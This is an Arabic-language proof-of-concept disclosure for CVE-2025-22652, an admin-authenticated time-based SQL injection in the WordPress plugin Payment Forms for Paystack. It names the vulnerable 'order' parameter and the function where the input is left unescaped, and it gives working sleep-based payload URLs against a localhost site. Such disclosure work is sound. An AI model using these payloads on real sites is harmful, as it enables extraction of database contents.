
إثبات المفهوم لـ CVE-2025-22652
إضافة ووردبريس (WordPress plugin)
Component name Payment Forms for Paystack
Vulnerable version <= 4.0.1
Component slug payment-forms-for-paystack
Component link https://wordpress.org/plugins/payment-forms-for-paystack/
Vulnerability class A3: Injection
Vulnerability type SQL Injection
Administrator
في إضافة Payment Forms for Paystack الإصدار 4.0.1 وما دون، توجد ثغرة حقن SQL (SQL Injection) بسبب عدم كفاية التحقق من المدخلات ومعالجة التهريب (escape) لمعامل URL order عند عرض قائمة الدفعات في نماذج الدفع. من خلال هذه الثغرة، يمكن لمهاجم يتمتع بصلاحيات المسؤول استخراج جميع المعلومات من قاعدة بيانات الموقع المستهدف.
على الرغم من أن هذه الثغرة لا تسمح بالاستعلام المباشر عن البيانات، يمكن استخراج البيانات باستخدام تقنيات حقن SQL الزمني (Time-based SQL Injection).
جهّز موقع ووردبريس مثبتًا عليه إضافة Payment Forms for Paystack الإصدار 4.0.1 أو أقل.
نظرًا لأنك تحتاج إلى إضافة نموذج Paystack لإجراء الاستعلام، أضف نموذجًا من قائمة إضافة نموذج Paystack (wp-admin/post-new.php?post_type=paystack_form).

بعد إضافة النموذج، يمكنك الاطلاع على الكود القصير (ShortCode)، ثم أدخل معرّف السمة (attribute ID) الخاص بذلك الكود القصير في معامل URL form في الرابط أدناه قبل الوصول إليه.
http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=<Insertion Point>&orderby=&order=,+(select+sleep(5)+from+dual+where+1=1)
على سبيل المثال، إذا كان [pff-paystack id="13"]، فقم بالوصول إلى http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=13&orderby=&order=,+(select+sleep(5)+from+dual+where+1=1)

نتيجةً لذلك، نظرًا لأن الشرط where 1=1 في حمولة حقن SQL المُدرجة في معامل URL order صحيح دائمًا، يمكنك التأكد من تنفيذ دالة وأن الاستجابة تصل بعد 5 ثوانٍ.
عند طلب الرابط الذي تحدث فيه الثغرة، يتم استدعاء الدالة get_payments_by_id في الملف /wp-content/plugins/payment-forms-for-paystack/includes/classes/class-helpers.php.
عند هذه النقطة، يتم إدراج معامل URL order مباشرةً في استعلام SQL وتنفيذه على قاعدة البيانات دون أي تحقق من المدخلات أو معالجة تهريب (escape).

لذلك، عند إدراج حمولة حقن SQL , (select sleep(5) from dual where 1=1) في معامل URL order، يتم تنفيذ استعلام SQL الموضح أدناه. عند هذه النقطة، اعتمادًا على ما إذا كان الشرط في الحمولة صحيحًا أم خاطئًا، يوجد فرق في زمن الاستجابة، ويمكن استخدام هذا الفرق الزمني لاستخراج البيانات من قاعدة البيانات.
SELECT * FROM %i WHERE post_id = %d AND paid = %s ORDER BY %i , (select sleep(5) from dual where 1=1)
افتح كود الإثبات في محرر وأدخل عنوان موقع ووردبريس وبيانات اعتماد المسؤول.

Required modulerequests
python poc.py

sleep(5)
من ناحية أخرى، إذا غيّرت الشرط في حمولة حقن SQL المُدرجة في order إلى where 1=2، يمكنك التأكد من أن الاستجابة تصل فورًا.
http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=<Insertion Point>&orderby=&order=,+(select+sleep(5)+from+dual+where+1=2)
على سبيل المثال، إذا كان [pff-paystack id="13"]، فقم بالوصول إلى http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=13&orderby=&order=,+(select+sleep(5)+from+dual+where+1=2)
